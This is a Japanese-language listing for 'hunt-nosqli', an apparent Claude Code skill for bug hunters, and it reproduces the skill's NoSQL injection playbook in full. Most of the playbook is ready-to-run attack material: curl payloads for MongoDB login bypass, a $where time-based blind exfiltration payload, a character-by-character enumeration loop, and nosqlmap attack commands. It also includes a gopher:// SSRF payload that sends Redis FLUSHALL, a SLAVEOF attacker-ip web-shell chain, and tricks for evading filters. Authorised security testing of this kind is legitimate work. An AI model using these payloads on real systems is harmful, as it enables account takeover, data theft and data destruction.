hunt-nosqli について
hunt-nosqliは、セキュリティテスト担当者向けのNoSQLインジェクション調査スキルです。認証バイパス、ブラインドインジェクション、データ列挙、Redisなどの攻撃面を扱い、テストと検証の手順を示します。
主な機能
- 01NoSQLインジェクションの攻撃面を特定
- 02MongoDBの認証バイパスと演算子注入をテスト
- 03時間差や正規表現クエリでブラインド注入を検出
- 04データ列挙とRedis攻撃経路のテスト
活用シーン
- 01ログインエンドポイントのバイパス可否を調査
- 02クエリパラメーターやJSON入力の注入をテスト
- 03ブラインド注入を検証してアクセス可能なデータを列挙
- 04SSRFからRedisへの攻撃チェーンを評価
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-nosqliインストール後、Claude Code で/hunt-nosqliを入力して読み込まれたか確認します。
詳細
HUNT-NOSQLI — NoSQL インジェクション
重要標的
NoSQL インジェクションが最も価値を発揮するのは、認証を回避できる場合(重大)、またはユーザーコレクション全体を漏えいさせる場合(高)です。
最も価値の高い攻撃チェーン:
- MongoDB 認証回避 —
{"username": {"$gt": ""}, "password": {"$gt": ""}}を使うと、コレクション内の最初のユーザー(通常は管理者)としてログインします - $where JavaScript インジェクション — $where が有効な場合:ブラインドインジェクション → データの窃取
- Redis コマンドインジェクション — SSRF または直接 TCP 経由で、SLAVEOF attacker-ip → 設定の書き込み → Web シェル
- Elasticsearch インジェクション — _search エンドポイントで Groovy スクリプトインジェクション(5.0 より前) → RCE
攻撃対象領域の兆候
URL とパラメーターのパターン
/api/users/login POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/password
スタックの兆候
| 兆候 | 攻撃ベクトル |
|---|---|
| レスポンス内の MongoDB エラーメッセージ | 演算子インジェクション |
| JS バンドル内の mongoose / monk | ODM のパターン |
| X-Powered-By: Express | Node.js + MongoDB の一般的なスタック |
| CouchDB/_utils UI の露出 | Futon/Fauxton 管理画面 |
| Redis ポート 6379 が開放(SSRF 経由) | CONFIG SET / SLAVEOF |
| Elasticsearch :9200 が開放 | スクリプトインジェクション |
手順ごとの調査方法
フェーズ 1 — 認証回避(MongoDB)
# Operator injection in JSON body
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
# Regex wildcard — match any username
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'
# ne (not equal) bypass
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$ne": "wrong"}}'
# in array bypass
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'
フェーズ 2 — URL パラメーターインジェクション
# Array notation (Express/PHP-style)
curl "https://$TARGET/api/users?username[$gt]=&password[$gt]="
curl "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"
# POST form data
curl "https://$TARGET/api/login" \
--data "username[$gt]=&password[$gt]="
フェーズ 3 — $where ブラインドインジェクション(時間ベース)
# Test if $where is enabled (time-based detection, 5s delay)
curl -s -X POST https://$TARGET/api/search \
-H "Content-Type: application/json" \
-d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
# If response takes 5+ seconds → $where injection confirmed
# Blind data exfil (username starts with 'a'?)
curl -s -X POST https://$TARGET/api/search \
-H "Content-Type: application/json" \
-d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'
フェーズ 3b — 連結された $where/クエリへの構文インジェクション(文字列コンテキスト)
アプリが入力を演算子オブジェクトとして受け取るのではなく、JavaScript の $where STRING("this.name=='"+input+"'")に連結する場合は、$gt/$ne を渡すのではなく、文字列を抜け出します。まずファジングを行い、その後に抜け出します:
fuzz: ' " ` { ; $ # any 500/behaviour change = syntax reaches the query
' || '1'=='1 # always-true (string-context breakout)
' && this.password.match(/^a/) || 'x'=='y # boolean char-exfil oracle
(PortSwigger:NoSQL クエリへの構文インジェクション。)
フェーズ 4 — 正規表現によるデータダンプ
# Enumerate usernames character by character
for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do
RESP=$(curl -s -X POST https://$TARGET/api/users \
-H "Content-Type: application/json" \
-d "{\"username\": {\"\$regex\": \"^$c\"}}")
echo "$c: $(echo $RESP | wc -c)"
done
フェーズ 5 — 自動化
# nosqlmap
pip3 install nosqlmap
nosqlmap -u "https://$TARGET/api/login" --attack 1
# nosqlmap data extraction
nosqlmap -u "https://$TARGET/api/login" --attack 2
フェーズ 6 — SSRF 経由の Redis
# If SSRF found, probe internal Redis via gopher://
curl "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a"
# CONFIG SET webshell (if Redis has write access to web root)
# Use SLAVEOF for OOB data exfil
回避策一覧
| 防御策 | 回避方法 |
|---|---|
| JSON.parse がオブジェクトを拒否する | 配列を使用:password[$ne]=x(URL パラメーター) |
$ をサニタイズする | Unicode:$gt |
| 演算子キーをブロックする | 構造内のさらに深い階層にあるネストしたオブジェクト |
攻撃チェーン一覧
| NoSQLi の発見事項 | 次の攻撃 | 影響 |
|---|---|---|
| 認証回避 | 管理パネルへのアクセス | 管理者の完全な制御 |
| 正規表現によるユーザー列挙 | 認証情報スタッフィング | 大規模な ATO |
| $where が有効 | DB プロセス内での任意の JavaScript 実行 | データの窃取または DoS |
| SSRF 経由の Redis | CONFIG SET / SLAVEOF | Web シェルまたはデータの窃取 |
検証
✅ 認証回避:有効な認証情報なしでログインし、有効なセッショントークンを取得した ✅ データダンプ:アクセス権のないユーザー/ドキュメントが返された ✅ ブラインドインジェクション:時間遅延(4 秒超で一貫して発生)によって確認した
深刻度:
- 管理者としての認証回避:重大
- ユーザーコレクションのダンプ:高
- ブラインドインジェクション(有用なデータ窃取なし):中
コメント
Markdown 対応